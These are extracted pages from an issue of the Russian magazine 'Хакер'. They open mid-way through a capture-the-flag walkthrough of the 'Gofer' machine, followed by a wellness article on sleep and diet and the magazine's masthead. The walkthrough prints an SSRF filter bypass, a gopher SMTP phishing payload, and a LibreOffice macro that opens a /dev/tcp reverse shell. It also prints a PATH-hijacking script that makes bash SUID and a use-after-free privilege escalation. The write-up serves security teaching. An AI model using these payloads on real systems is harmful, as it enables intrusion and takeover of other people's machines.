сайт. Там нас встречает HTTP-аутентификация.

10.10.11.225 gofer.htb proxy.gofer.htb

Запрос учетных данных

HTTP auth bypass


Есть несколько способов обхода неправильно настроенной HTTP-аутен-
тификации. Самый простой и быстрый — смена метода запроса с GET
на POST (либо PUT).

GET-запрос в Burp Repeater

В Burp Repeater легко это сделать, достаточно выбрать нужный пункт в кон-
текстном меню.

POST-запрос в Burp Repeater

И при POST-запросе получаем уже другой ответ.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ PATH HIJACKING


В СВЯЗКЕ С USE AFTER FREE

ÒÎ×ÊÀ ÎÏÎÐÛ

В полученном ответе нам сообщают, что в URL не хватает параметра. Можно


перебрать параметры по словарю и найти такой ответ сервера, который, воз-
можно, будет отличаться от основной массы. Для перебора я использую Burp
Intruder.

Burp Intruder — вкладка Positions

Чтобы в таблице результатов отображался ответ сервера, перейдем к вклад-


ке Settings, выберем опцию Grep → Extract и укажем интересующую нас
позицию.

Burp Intruder — вкладка Settings

Burp Intruder — результат атаки

Таким образом обнаруживаем параметр url.

SSRF
Так как мы должны передать URL, можно предположить, что сервис выполнит
запрос на него. Для теста запустим веб-сервер:

python3 -m http.server 80

И укажем на сайте свой адрес. В логах веб-сервера увидим подключение,


а на сайте отобразится листинг каталога веб-сервера.

Логи веб-сервера

Результат выполнения запроса

Сразу проверяем наличие уязвимости SSRF, которая позволит обращаться


к внутренним ресурсам и сервисам системы. Однако запрос к localhost
блокируется, поскольку слово находится в черном списке. Но мы можем най-
ти варианты, которые не будут фильтроваться.

Результат выполнения запроса

Пробуем прочитать файл /etc/passwd через протокол file. В этом случае


нам сообщают, что блокируется последовательность file://.

Результат выполнения запроса

Тогда попробуем обратиться, указав не file://, а file:/. И это позволяет


нам получить содержимое файла.

Содержимое файла /etc/passwd

Почитав на сервере несколько файлов, ничего ценного не находим. Тогда я


решил проверить очень интересный вектор: через SSRF и Gopher. Давай поп-
робуем отправить сообщение тому самому пользователю, который открывает
все ссылки. По ссылке будет расположен документ ODT, выполняющий мак-
рос с реверс-шеллом.
Для этого нам нужно узнать почтовый адрес пользователя и как-то обойти
фильтр, чтобы обращаться к локальному хосту через SSRF. Из письма мы зна-
ем имя пользователя — Jocelyn. Находим его фамилию на сайте и составля-
ем правдоподобный почтовый адрес по тому же шаблону, что и у отправите-
ля. Получается jhudson@gofer.htb.

Список пользователей

Теперь нам нужен адрес, который поможет обойти фильтрацию. Здесь нас
выручит Burp Intruder и список для обхода SSRF. Также на вкладе Settings
установим опцию Extract.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Settings

Результат перебора

По результатам сканирования видим, что можно закодировать


адрес 127.0.0.1 в Hex.

Gopher mail
Через найденную SSRF попробуем отправить сообщение со ссылкой целево-
му пользователю. Берем следующее сообщение и кодируем все символы \r\
n как %0d%0a.

gopher://0x7f000001:25/xHELO
MAIL FROM:<jdavis@gofer.htb>
RCPT TO:<jhudson@gofer.htb>
DATA
From: <jdavis@gofer.htb>
To: <jhudson@gofer.htb>
Subject: Link

http://10.10.16.23/file.odt

.
QUIT

Исходное сообщение

Сообщение, закодированное URL

На локальном хосте запустим веб-сервер на Python и выполним запрос, где


в параметре url будет передаваться сформированная нагрузка.

Результат выполнения запроса

Когда сервер запросит этот URL, пользователю Jocelyn отправится сооб-


щение со ссылкой. Если он перейдет по ней, мы увидим запрос к файлу
на нашем веб-сервере.

Логи веб-сервера

Вектор оказался верным, теперь сформируем документ с макросом.

Office phishing
Открываем LibreOffice и в меню выбираем Tools → Macros → Organize Macros
→ Basic, где находим текущий документ.

Приложение LibreOffice

Окно управления макросами

Создаем новый макрос, который выполнит реверс-шелл.

Sub Main
Shell("bash -c 'bash -i >& /dev/tcp/10.10.16.23/4321 0>&1'")
End Sub

Окно изменения макроса

А теперь настроим автозапуск макроса при открытии документа. Для этого


в окне управления макросами кликаем по пункту Assign, где переходим
на вкладку Event и выбираем событие Open Document. Которому через Macro
Selector назначаем созданный макрос.

Настройка автозапуска макроса

Настройка события Open Document

Сохраняем в формате ODT и загружаем на веб-сервер документ.


Запускаем листенер:

pwncat-cs -lp 4321

Затем повторяем фишинговую атаку и получаем коннект.

Флаг пользователя

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ PATH HIJACKING


В СВЯЗКЕ С USE AFTER FREE

ÏÐÎÄÂÈÆÅÍÈÅ

Теперь нам необходимо собрать информацию и прикинуть варианты прод-


вижения. Я, как всегда, буду использовать для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Мы получили много информации, отберем самое важное.


Привилегия Linux cap_net_admin, выданная tcpdump, позволяет нам
использовать эту команду для сниффинга трафика.

Опция tcpdump

Linux capabilities

Из файла .htpasswd получаем хеш пароля для пользователя tbuckley.

Содержимое файла /etc/apache2/.htpasswd

Среди исполняемых файлов с выставленным битом SUID есть неизвестный: /


usr/local/bin/notes.

Файлы с установленным SUID-битом

Также я всегда проверяю запускаемые процессы с помощью pspy64. В логах


видим запрос к уже знакомому сайту, где передаются учетные данные
для HTTP-аутентификации.

Логи pspy64

Видимо, задумка автора машины была в том, чтобы решающий записал тра-
фик и нашел этот запрос в дампе. Но обнаружился и другой путь для получе-
ния логина и пароля. С полученными учетными данными авторизуемся в сис-
теме.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Теперь переходим к неизвестному исполняемому файлу с S-битом.


При запуске он предоставляет нам выбор нескольких действий.

Результат запуска исполняемого файла

Скопируем этот файл на локальный хост и откроем в любом удобном деком-


пиляторе. Я использую IDA Pro с Hex-Rays.

scp tbuckley@gofer.htb:/usr/local/bin/notes ./

Я немного преобразовал код, чтобы его было удобнее анализировать.


Теперь мы можем разобрать поведение программы при выборе каждого
из предложенных вариантов.
1. В этом варианте с помощью malloc выделяется 40 байт, где пер-
вые 24 будут заполнены введенным именем пользователя, а с 24-го байта
будет храниться роль пользователя: user или admin (строки 31–50).
2. Эта ветка кода отвечает за вывод текущих имени пользователя и его роли
(строки 51–56).
3. С помощью free освобождается память, выделенная для имени поль-
зователя.

Псевдокод функции main

4. В этом варианте снова выделяется 40 байт, но теперь для сохранения


заметки (строки 61–68).
5. Выводит заметку на экран (строки 69–71).
6. Пока ни для чего не предназначен.
7. Освобождает память, выделенную под заметку.
8. Самый интересный блок кода: если пользователь существует и является
администратором, то от имени пользователя root выполнится команда
tar.

Псевдокод функции main (продолжение)

Так как путь к исполняемому файлу tar не указан, система последовательно


будет искать его по путям, указанным в PATH. А это открывает дорогу к атаке
path hijacking. Для этого нам нужно создать свой скрипт с именем tar
и добавить в PATH каталог, в котором он будет расположен. Тогда при вызове
функции system запустится наш скрипт tar.

echo '#!/bin/bash' > tar


echo 'chmod u+s /bin/bash' >> tar
chmod 777 tar
export PATH=~:$PATH

Создание скрипта tar

Теперь решим вопрос, как пройти проверку на администратора. Оба вари-


анта освобождения памяти выполнены без ее очистки. И в случае с заметкой
(где мы можем записать 39 байт), и в случае с именем пользователя (где мы
можем записать 24 байта) выделяется 40 байт. Но дело в том, что если
выделить память функцией malloc, а затем освободить с помощью free
и снова выделить с помощью malloc блок памяти того же объема, то будет
выделена память по одному и тому же адресу! Вот почему важно перед осво-
бождением очищать память с помощью memset, а указателю присваивать
значение 0. При удалении пользователя этого не происходит.
Получается, что мы можем создать пользователя, а затем удалить его, что-
бы вызвать malloc, затем free, а затем инициализировать переменную
input, где хранится имя пользователя.

Создание и удаление пользователя

Теперь при создании заметки будет выделен блок памяти, который только что
был освобожден, но на него будет указывать не только переменная ptr, отве-
чающая за заметку, но и переменная input, отвечающая за пользователя!
Заполняем заметку рандомными 24 символами, после которых записы-
ваем строку admin. Тогда переменная input+24 будет содержать роль admin.
Теперь при выборе последнего пункта мы пройдем проверку на администра-
тора. Этого можно было бы избежать, если бы переменной input присваива-
лось значение 0 в ветке 3. Эта уязвимость носит название use after free, так
как мы используем указатель на блок памяти после освобождения и переза-
писи.

Эксплуатация UAF

В скрипте tar мы назначили S-бит файлу командной оболочки /bin/bash


и можем повысить привилегии до рута.

Проверка файла /bin/bash

Флаг рута

Машина захвачена!
GEEK

В ноябре за окном серое небо и голые


деревья, а значит, нам надо постараться,
чтобы кукушка осталась дома, крыша сто-
яла на положенном месте и чердак не про-
текал. В этой статье ты найдешь подборку yambuto
yambuto@gmail.com
советов, как помочь себе находиться в ста-
бильном душевном состоянии. Что может
быть актуальнее в такие времена, верно?

Появление такой статьи в «Хакере», возможно, удивит тебя, однако редак-


ционный совет единогласно поддержал эксперимент. Почему бы не поп-
робовать разок-другой удалиться от наших обычных тем и не написать
о вещах, которые могут помочь кому-то из читателей сделать свою жизнь луч-
ше? Статья доступна без платной подписки, так что, если понравится,
не забудь поделиться ссылкой с друзьями.

Сразу предупреждаю, что большая часть собранных здесь советов —


это самый обыкновенный и уже набивший всем оскомину ЗОЖ, то есть здо-
ровый образ жизни. Но при чем здесь ЗОЖ, если речь идет не о физическом
здоровье, а о ментальном? Сейчас разберемся.

Если у тебя реально едет крыша, то бросай читать эту статью и записывайся
на прием к врачу. Признаки, которые нельзя игнорировать:
• приступы агрессии;
• панические атаки;
• потеря интереса к жизни, к людям, к своим увлечениям;
• нежелание делать базовые действия, например принимать душ;
• склонность причинять себе вред, навязчивые мысли об этом;
• частые кошмарные сновидения или бессонница;
• постоянная усталость, сонливость;
• проблемы с аппетитом (переедание либо, наоборот, отсутствие аппе-
тита);
• фобии, навязчивые привычки, которые тебе мешают;
• необъяснимые смены настроения;
• неуместные и спонтанные эмоциональные реакции;
• тревожность, отчаяние, безысходность, суицидальные мысли.

ÇÀ×ÅÌ ÌÍÅ ÝÒÎ?

Если тебе кажется, что ты не животное, а давно эволюционировал и теперь


твой разум преобладает над жалким земным телом, спешу тебя разоча-
ровать. Твое ментальное состояние настолько сильно зависит от бренной
оболочки, что даже обидно. Вся эта сознательность, воля и сила духа дер-
жатся на базовом здоровье тела.
С точки зрения эволюции тот период, когда наш вид ведет всю эту
интеллектуально-духовную жизнь, очень незначителен. Примерно как тонкий
налет мха на огромном валуне веков, в течение которых человек учился
выживать в дикой природе и первобытных обществах.
Поэтому последние поколения людей так кроет по части душевного здо-
ровья: мир изменился кардинально, а человек в глубине остался древним.
Наш мозг приспособлен совсем к другой жизни, а мы перегружаем его неп-
рерывным потоком информации, разрозненными взаимодействиями,
дешевым дофамином и, главное, стрессом. Особенно тяжело приходится
айтишникам, у которых компьютер — это и работа, и хобби, и все виды дос-
тупного отдыха одновременно.
Пожалуй, можно смело сказать, что любой читающий эту статью испытыва-
ет на себе долговременный стресс и его разрушительные последствия —
особенно в последние годы.
Это расшатывает наше состояние, делает нас более уязвимыми и неус-
тойчивыми под воздействием внешних событий и внутренних процессов.
А вот когда ты здоров, выспался, отдохнул и хорошо поел, согласись, тебя
намного сложнее выбить из колеи — ты устойчив и готов бороться!
Получается, твое психическое состояние, поведение и настроение сильно
зависят от того, насколько хорошо ты заботишься о своем теле. Условия
просты: обеспечь своей пещерной составляющей самый премиальный сер-
вис — и она откроет новый уровень продуктивности для твоего драгоценного
высокоразвитого сознания. Так что с разговора о теле мы и начнем.

ÐÅÆÈÌ È ÎÒÄÛÕ

О режиме неспроста говорят из каждого утюга. Постоянный режим дня


помогает нервной системе нормально работать, тем самым стабилизирует
психологическое состояние, повышает качество сна и помогает иммунной
системе. Уж не говоря о продуктивности: если делать одни и те же действия
в подходящее время, тебе будет легче приступить и не отвлекаться, будет
меньше прокрастинации — так можно натаскать себя на сосредоточенную
работу по расписанию.
Конечно, совет «наладить режим» уже сидит в печенках у каждого. Мы ско-
рее попробуем на себе випассану и микродозинг мухоморов, только бы
не терзать свою волю налаживанием режима сна и бодрствования, работы
и отдыха.
Есть такое понятие — ГГН-ось, или гипоталамо-гипофизарно-надпочеч-
никовая ось. Это «стрессовая система», которая регулирует выработку кор-
тизола. Кортизол — это гормон, отвечающий за напряжение, собранность,
концентрацию, противостояние стрессу, он также участвует в регулировании
давления, пищеварения, циклов сна и бодрствования.
Миф о совах и жаворонках сослужил нам дурную службу. Мы объявляем
свое нарушение работы ГГН-оси частью своей идентичности и ухаем совой
до четырех утра, после этого отсыпаясь до обеда. Вот только при таком гра-
фике придется забыть об энергичности, ровном хорошем настроении и кон-
центрации без кофе и других стимуляторов.

В случае нарушений, например в ответ на хронический стресс, ГГН-ось


начинает работать слишком активно, и у человека повышается средний уро-
вень кортизола. Вообще избыток кортизола грозит множеством неприятных
последствий, в том числе гипертонией, проблемами с иммунитетом и лишним
весом. А для темы сна важно, что кортизол может начать выделяться в непод-
ходящие моменты дня. При нормальных условиях уровень кортизола сни-
жается до минимума к 19–20 часам, а максимума достигает в районе 7 утра,
отчего в теории идеальный сферический человек в вакууме просыпается сам
без будильника.
Но у «сов» уровень кортизола, наоборот, поднимается к вечеру, и тогда
они наконец-то чувствуют бодрость и готовность к активной жизни. И вот
вечером и ночью «сова» или человек с бессонницей занимается своими
делами, затем рано или поздно усталость пересиливает и человек засыпает.
Но из-за повышенного кортизола даже может, немного отдохнув, снова прос-
нуться среди ночи и не мочь уснуть обратно.
Все это работает как усиливающая петля обратной связи: чем хуже ты
отдыхаешь, тем больше стресса, чем больше стресса, тем хуже ты отдыхаешь
и так далее. Поэтому нам нужно работать со стрессом через все доступные
каналы, важнейший из которых — сон.

ÊÀ×ÅÑÒÂÅÍÍÛÉ ÑÎÍ

Наверняка ты слышал, что для засыпания человеку нужен гормон мелатонин.


Мелатонин не только помогает спать, но и предотвращает стресс, деп-
рессию, ожирение, повышенное давление, к тому же улучшает иммунитет.

• Мелатонин и лишний вес


• Обзоры исследований о противовоспалительной и антиоксидантной роли
мелатонина
• Мелатонин и возрастные изменения сердца
• Мелатонин и кровяное давление
• Мелатонин и психическое здоровье

Выделение мелатонина зависит от уровня освещенности — чем светлее, тем


хуже он вырабатывается; причем больше всего мешает свет в сине-зеленой
части спектра.
И даже если ты примешь таблетку мелатонина, без темноты она не сра-
ботает.

Идеально, если, когда ты спишь, в комнате будет полная темнота. Да, даже
без огоньков роутера и отсветов неоновой вывески «Пиво» от ларька
под окном. Понять, что такое полная темнота, легко: твои открытые глаза
видят то же самое, что и закрытые, — то есть ничего, HEX 000000.
А поскольку в нашей цивилизации ночь идет в комплекте с улицей,
фонарем и круглосуточной аптекой, тебе пригодятся блэкаут-шторы, а для
стопроцентной темноты — маска для сна.

Синий свет подавляет выработку мелатонина и усиливает проблемы со сном.

Да, пару-тройку дней придется привыкать ко сну в маске, зато потом привыч-
ка заработает в обратную сторону и ты начнешь быстро засыпать, едва надев
маску. Выбирай маску с углублением для глаз, она комфортнее всего и почти
не мешает.
Особенно маска поможет тем, кто еще не наладил свой режим, так что
большая часть сна пока что приходится на световой день.
Не забывай и о том, что спать лучше в тихой и хорошо проветренной ком-
нате, оптимальная температура воздуха для сна — не выше 23 °С.
Перед сном лучше всего отказаться от голубых экранов, яркого света
и возбуждающих мозг игр и сериалов, посиделок с алкоголем, а также нап-
ряженной работы. Гораздо лучше подойдет чтение, прогулка и спокойные
хобби. При этом следи, чтобы свет был неяркий и в желтой части спектра.
Итак, что мешает качественно спать:
• свет;
• курение;
• алкоголь;
• кофеин;
• некоторые лекарства;
• переедание;
• шум;
• проблемы с позвоночником;
• стресс;
• нарушения режима;
• игры и фильмы перед сном;
• активные занятия перед сном.

Что поможет тебе спать лучше:


• магний перед сном;
• 5-HTP (предшественник серотонина, который затем преобразуется
в мелатонин) перед сном;
• медитация;
• полная темнота;
• прохлада;
• свежий воздух;
• прогулка перед сном;
• теплая ванна перед сном, особенно с сульфатом магния;
• легкий ужин за несколько часов до сна;
• постоянный режим сна и бодрствования, в том числе на выходных.

ÀÊÒÈÂÍÎÑÒÜ È ÑÈËÎÂÛÅ ÒÐÅÍÈÐÎÂÊÈ

Час от часу не легче! Режим, спорт, только про полезное питание не хватало.
Все верно, дальше будет и про питание, от него никуда не деться в этом раз-
говоре.
Движение настолько необходимо нашему телу и разуму, что, чтобы
перечислить все процессы, которые ухудшаются без движения, — не хватит
целой статьи. Увы, движение пальцев по трекпаду недостаточно нагружает
мышцы и не нормализует лимфоток.
Я не предлагаю заниматься скандинавской ходьбой в парке, да и все рав-
но тебя пока не возьмут в программу «Активное долголетие». Зато сделать
десяток приседаний или прыжков пару раз в день сможет любой. Если ты сов-
сем не спортивный человек, начни с минимального действия, пусть оно будет
казаться даже слишком простым для тебя, но именно так активность войдет
в привычку. А дальше постепенно захочется большего.
Для борьбы со стрессом, депрессией и тревожностью особенно полезны
силовые тренировки — они помогают отработать накопившийся стресс
и поощряют нас выделением эндорфинов, а также улучшают сон.

Силовые тренировки снижают тревожность, помогают при ГТР, рекомен-


дуемы врачами и облегчают симптомы депрессии.

ÅÄÀ

Ты — то, что ты ешь! Так что если ты не хочешь быть хрупким, липким и с
газами, то забей на чипсы, сладости и газировку. Твой настоящий бро — нут-
ритивно плотные продукты, то есть содержащие как можно больше микронут-
риентов — витаминов, минералов и аминокислот — на каждую калорию.
И если в этот момент у тебя в голове появились печальные образы
овсянки и куриной грудки из привычного ПП (правильного питания), спешу
тебя обрадовать. Грудка не только сухая и низкокалорийная, но и не слишком
удовлетворяющая для твоего организма.

Продолжение статьи →
GEEK ← НАЧАЛО СТАТЬИ

КАК ХАКНУТЬ СВОЙ ОРГАНИЗМ,


ЧТОБЫ ЖИТЬ ЛУЧШЕ

Эта тема не так проста, потому что если погружаться в нее, то начинают
играть роль усвояемость, биодоступность, совместимость и даже несов-
местимость нутриентов. Но в твоих силах исключить однозначно бесполезные
и вредные продукты и добавить полезные.
Итак, продукты, богатые нутриентами:
• внутренние органы животных, птичьи потроха;
• травы и специи;
• зелень;
• овощи;
• семена и орехи;
• рыба и морепродукты;
• мясо и птица;
• яйца;
• масла;
• бобовые;
• фрукты.

Попробуй пару месяцев заполнять свою тарелку именно этими продуктами


и посмотри, как изменится твое самочувствие и энергичность.
Заметь, в списке нет круп, их можно добавлять по остаточному принципу,
но уж точно не брать за основу рациона. Крупы и каши не настолько полезны
и необходимы, как считали наши бабушки. Скорее они дешевы и дают
сытость в тяжелые времена.
Что есть не стоит:
• сильно обработанную продукцию (длинный состав и много калорий);
• полуфабрикаты, замороженные и не только;
• мучные и кондитерские изделия;
• сахар и сладости;
• чипсы и другие снеки, если они не похожи на морковку, стебли сельдерея
и тому подобные вещи.

Думаю, ты и сам неплохо догадываешься, что такое полезные натуральные


продукты, а что такое вредная еда. Осталось только перестать обманывать
себя и считать, что это дело второстепенное.

ÂÎÄÀ

Раз уж мы решили пройтись по прописным истинам, нельзя не упомянуть


воду! Пить достаточно воды важно в том числе для мозга. Нехватка жидкости
может ощущаться как усталость, слабость, подавленность, раздражитель-
ность, ухудшение памяти и концентрации.
Многие слышали про норму два-три литра воды в день, но эта рекомен-
дация — типичный случай, когда журналист недопонял информацию, получен-
ную от ученых, и искаженная версия пошла в народ. Хлестать воду большими
бутылями вовсе не обязательно!
Из этой нормы нужно вычитать жидкую пищу и напитки, да и вообще —
сейчас врачи рекомендуют пить по жажде, главное — всегда иметь воду
под рукой.
Увы, многие из нас не различают чувство жажды и голода. Не осознавая,
что хотят пить, люди без конца заглядывают в холодильник, чтобы что-то
пожевать, в то время как организму приходится извлекать жалкие капли жид-
кости из подсохших со вчера котлет. Если это твой случай, попробуй, когда
захотелось перекусить, сначала выпить стакан воды.

• После пробуждения выпивай стакан-другой воды.


• Всегда носи с собой бутылку воды.
• Выпивай стакан воды за полчаса-час до еды.
• Пей, как только чувствуешь жажду.
• Попробуй пить воду вместо перекуса.

ÊÎÍÒÐÀÑÒÍÛÉ ÄÓØ

Про контрастный душ мы знаем с самого детства — это непременный атрибут


чудаковатого деда-зожника, который бегает с голым торсом до поздней осе-
ни, а зимой обтирается снегом. Такой NPC спаунится в каждом третьем дво-
ре на территории СНГ, и его затейливый скрипт действительно приносит ему
пользу!

Чередование горячей и холодной воды помогает улучшить снабжение клеток


кислородом и питательными веществами, улучшает иммунитет, стимулирует
выработку эндорфинов, снижает стресс, растворяет плохое настроение
и апатию.
Начинаем с теплой воды комфортной температуры, постепенно и плавно
добавляем холодной, затем переходим к горячей воде и обратно. Заверши
душ холодной водой и не увлекайся: пяти-десяти минут будет более чем дос-
таточно!
Помни, что любая полезная вещь, доведенная до крайности, становится
опасной, так что сигать в прорубь вслед за дедом не нужно!

ÌÀÑÑÀÆ

Звучит странно, но массаж помогает при депрессии и тревожности. До конца


неизвестно, как это работает, но почему бы и нет? Если у тебя нет времени
куда-то ездить, массажист может прийти на дом со своим раскладным сто-
лом.
Ну а если это совсем не твоя история, попробуй осторожно разминать
плечи и шею самостоятельно, в том числе мышцы у основания черепа.
Это совсем не то же самое, что профессиональный массаж всего тела,
но хоть что-то.

ÂÈÒÀÌÈÍÛ

Конечно, ответственный человек должен пойти к врачу и сдать анализ


на дефициты. Но если по какой-то причине это невозможно, российской
осенью и зимой ты не прогадаешь с витамином D.

Про необходимость витамина D для усвоения кальция слышали многие.


Более интересно, что нехватка витамина D может быть связана с лишним
весом и множеством тяжелых состояний, включая гипертензию и ауто-
иммунные заболевания.
Для нас же главное, что при недостатке витамина D страдает ментальное
здоровье и нервная система.

• Витамин D и ментальное здоровье


• Витамин D для борьбы с депрессией и тревожностью
• Влияние витамина D на ЦНС
• Влияние витамина D на развитие мозга и его работу во взрослом воз-
расте

Как получить витамин D:


• проводить время на солнце;
• есть жирную рыбу и морепродукты, рыбью печень и рыбий жир;
• есть грибы, особенно лесные, а не выращенные на грибной ферме;
• есть желтки яиц;
• принимать добавки;
• использовать УФ-лампу.

Второй витамин для ментального здоровья — это магний. Когда его недос-
таточно, это провоцирует все тот же знакомый список проблем: стресс, апа-
тия, депрессия, тревожность. Не говоря уже о проблемах с сердцем, мыш-
цами и костями.
Магний можно получить из специальных витаминных добавок либо
из пищи, такой как:
• темный шоколад;
• авокадо;
• орехи и семена;
• цельнозерновые и бобовые культуры;
• тофу;
• жирная рыба;
• листовая зелень (кейл, шпинат, салат, микрозелень);
• бананы.

Добавки с магнием лучше принимать на ночь. А если на ночь захочется при-


нять что-то еще — прими ванну с магнием. «Английскую» или «эпсомскую»
соль с магнием легко найти в аптеке или на маркетплейсах.

ÊÀÊ ÂÍÅÄÐßÒÜ ÍÎÂÛÅ ÏÐÈÂÛ×ÊÈ

Возможно, ты скажешь, что все эти рекомендации банальны и всем давно


известны, но, к сожалению, просто знать их недостаточно — нужно еще и
регулярно выполнять.
Если тебе вдруг захочется применить âñå советы из этой статьи, пожалуй-
ста, делай это дозированно. Не пытайся изменить все свои привычки одним
махом с понедельника. Даже когда ты меняешь свою рутину на более здо-
ровую и полезную, это тоже стресс для организма — нашу психику напрягают
любые изменения.

Выбери одну-две вещи, которые ты хочешь внедрить в первую очередь,


и сконцентрируйся на них. Это изменит твое состояние и даст тебе больше
сил для дальнейших улучшений.
Главное — не первоначальный заряд мотивации, а регулярные маленькие
шаги. Чем проще будет каждое действие на пути к цели, тем больше шансов,
что ты сделаешь его даже в самый тяжелый и утомительный день. К примеру,
если решил заняться спортом, пока не ставь себе цель подготовиться
к марафону, поставь цель пройтись всего полчаса после работы. В какой-то
момент это станет слишком легко и тебе захочется сделать прогулку длиннее
или даже пробежаться.
Удостоверившись, что новые привычки приросли к твоему образу жизни
как родные, добавляй еще пару новых по той же схеме.

ÂÛÂÎÄÛ

Итак, мы узнали, как поддерживать свое тело на максимальном уровне здо-


ровья и энергии. Если статья найдет своего читателя, то я обязательно вер-
нусь со второй частью, где от поддержания здоровья тела мы перейдем
к здоровью душевному.
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит


от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü


ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ


ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?


Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?


1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи


и предложи редакции.
№11 (296)
Андрей Письменный Валентин Холмогоров Илья Русанен
Главный редактор Ведущий редактор Разработка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Евгения Шарипова yambuto
Литературный редактор Бильд-редактор
yambuto@gmail.com

MEGANEWS
Мария Нефёдова
nefedova@glc.ru

КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев

РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru

Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
